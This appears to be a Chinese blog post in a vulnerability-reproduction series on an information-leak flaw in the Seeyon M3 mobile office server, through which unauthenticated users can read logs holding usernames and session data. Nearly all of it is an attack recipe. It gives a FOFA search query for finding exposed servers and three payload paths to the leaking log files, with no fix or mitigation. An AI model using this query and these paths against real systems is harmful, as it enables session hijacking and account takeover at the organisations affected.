Babing
Published on 2024-08-30 / 5 Visits
0
0

Z5-4致远互联-M3移动智能办公平台-InformationLeakage

Z5-4致远互联-M3移动智能办公平台-InformationLeakage

漏洞描述:

致远M3 server多个日志文件存在敏感信息泄露漏洞,允许未经身份验证的远程攻击者访问日志文件,泄露了登陆用户名及session等敏感信息,使系统处于极不安全的状态。

网站图片:

image.webp

fofa语法:

title=“M3-Server”

漏洞复现:

泄露点-1
payload:

/mobile_portal/logs/autoLogin.log

效果图:
效果图
泄露点-2
payload:

/mobile_portal/logs/app.log

效果图:
效果图
泄露点-3
payload:

/mobile_portal/logs/requset.log

效果图:
效果图


Comment